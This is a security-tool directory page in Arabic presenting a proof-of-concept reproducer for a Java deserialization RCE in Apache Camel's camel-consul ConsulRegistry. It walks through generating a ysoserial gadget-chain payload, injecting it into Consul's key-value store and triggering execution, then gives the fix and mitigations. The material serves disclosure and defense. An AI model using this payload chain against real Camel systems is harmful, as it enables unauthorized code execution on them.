Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-27172 — مُعيد إنتاج ثغرة CVE-2026-27172: إلغاء تسلسل Java في Apache Camel camel-consul ConsulRegistry (RCE) | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-27172
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHuboscerd/cve-2026-27172

CVE-2026-27172

مُعيد إنتاج ثغرة CVE-2026-27172: إلغاء تسلسل Java في Apache Camel camel-consul ConsulRegistry (RCE)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أداة إعادة إنتاج ثغرة إلغاء التسلسل في ConsulRegistry بمكوّن camel-consul (CVE-2026-27172)

يعرض هذا المشروع ثغرة إلغاء تسلسل Java في مكوّن camel-consul الخاص بـ Apache Camel (ConsulRegistry)، والمُتتبَّعة باسم CVE-2026-27172. وهي من نفس فئة المشكلة مثل CVE-2024-22369 وCVE-2024-23114 وCVE-2026-25747، وقد جرى التغاضي عنها أثناء المعالجة الأصلية لتلك الثغرات.

النشرة الاستشارية: https://camel.apache.org/security/CVE-2026-27172.html

ملخص الثغرة

الخاصيةالقيمة
المكوّنcamel-consul
الفئة المتأثرةorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
الدوال المستضعفةlookupByName()، lookupByNameAndType()، findByTypeWithName()، findByType()
CWECWE-502: إلغاء تسلسل بيانات غير موثوقة
الأثرتنفيذ برمجيات عن بُعد (RCE)
الإصدارات المتأثرةمن 3.0.0 إلى ما قبل 4.14.6، ومن 4.15.0 إلى ما قبل 4.18.1
الإصدارات المُصلَّحة4.14.6، 4.18.1، 4.19.0
JIRACAMEL-23029

التفاصيل التقنية

يستخدم ConsulRegistry مخزن المفاتيح/القيم في Consul كسجلّ Camel. عند البحث عن bean بالاسم، تُفكَّك القيمة المخزَّنة من ترميز Base64 ثم يُلغى تسلسلها باستخدام ObjectInputStream خام، وفي الإصدارات المتأثرة، دون أي ObjectInputFilter:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

يُلغى تسلسل أي كائن مخزَّن في مخزن Consul KV تحت مفتاح سيبحث عنه Camel لاحقًا. ويمكن للمهاجم القادر على الكتابة في مسار KV هذا أن يزرع حمولة سلسلة أدوات (gadget chain) تُنفَّذ عند حدوث البحث في السجلّ.

المتطلبات الأساسية

  • Java 17+
  • Maven 3.8+
  • وكيل Consul قيد التشغيل (مخزن KV) — مثلًا عبر Docker
  • ysoserial (لتوليد الحمولات)

خطوات إعادة الإنتاج

الخطوة 1: تشغيل Consul

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

الخطوة 2: بناء التطبيق وتشغيله

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

الخطوة 3: تهيئة مفتاح السجلّ

root@kitploit:~
curl http://localhost:8080/exploit/init

الخطوة 4: توليد حمولة خبيثة

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

يخزّن ConsulRegistry كائنات متسلسلة مُرمَّزة بصيغة Base64، لذا تُسلَّم الحمولة بصيغة Base64.

الخطوة 5: حقن الحمولة في مخزن Consul KV

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

الخطوة 6: إطلاق إلغاء التسلسل (RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

تقرأ lookupByName() قيمة KV، وتفك ترميزها من Base64، ثم تلغي تسلسلها — منفِّذةً سلسلة الأدوات.

الخطوة 7: التحقق من الاستغلال

root@kitploit:~
ls -la /tmp/pwned

إذا وُجد الملف /tmp/pwned، يكون الاستغلال قد نجح.

نواقل الهجوم

تُستثار الثغرة كلما حلَّ السجلّ (registry) مرجع bean:

  1. مراجع Bean — .to("bean:...") وbean(...) و.process("...") بالاسم تستدعي جميعها lookupByName().
  2. الحل عند بدء التشغيل — beans يتم حلّها أثناء بناء المسارات (routes).
  3. البحث حسب النوع — findByType() / lookupByNameAndType() تكرران على إدخالات KV وتلغي تسلسلها.

شروط الاستغلال

  1. صلاحية الكتابة إلى مخزن Consul KV الذي يدعم السجلّ:
    • مجموعة Consul مشتركة أو ذات إعدادات خاطئة
    • رمز ACL في Consul مخترَق أو مفرط الصلاحيات
    • ثغرة أخرى توفّر إمكانية كتابة إلى KV
  2. مكتبة أدوات (gadget) في مسار الفئات (classpath):
    • commons-collections:3.2.1 (أدوات CommonsCollections1-7)
    • والعديد من المكتبات الأخرى (انظر ysoserial)

مقارنة مع ثغرات CVE الشقيقة

الإصلاح الموصى به

يضيف الإصلاح (CAMEL-23029) ObjectInputFilter قابلًا للضبط (الافتراضي: java.**;org.apache.camel.**;!*) إلى ConsulRegistryUtils.deserialize، ويتيح خيار deserializationFilter بحيث يمكن إدراج الفئات الموثوقة في قائمة السماح:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

التخفيف

إلى حين الترقية إلى إصدار مُصلَّح:

  1. قيّد صلاحية الكتابة إلى Consul KV على هوية تطبيق Camel نفسها (رموز ACL بأقل الصلاحيات اللازمة).
  2. أزل مكتبات الأدوات: رقِّ المكتبات المستضعفة مثل commons-collections 3.x أو أزلها.
  3. تقسيم الشبكة: اعزل مجموعة Consul على شبكة موثوقة.

الملفات

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Maven configuration (affected camel-consul version)
├── README.md                        # This file
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── ConsulRegistryRoute.java  # Camel route (disabled; shows real usage)
    │   └── ExploitController.java    # REST endpoints for the PoC
    └── resources/
        └── application.properties

إخلاء المسؤولية

أداة إعادة الإنتاج هذه مقدَّمة لأغراض البحث الأمني والاختبار المصرَّح به فقط، لثغرة تم الإفصاح عنها علنًا وإصلاحها. لا تستخدمها ضد أنظمة دون إذن صريح.

تنزيل الأداة
الجانبCassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
التخزين الداعمجدول Cassandraملف LevelDBمخزن Consul KV
ObjectInputFilter (قبل الإصلاح)لا يوجدلا يوجدلا يوجد
الإصلاحقائمة سماح ObjectInputFilterقائمة سماح ObjectInputFilterقائمة سماح ObjectInputFilter
JIRACAMEL-20306CAMEL-22821CAMEL-23029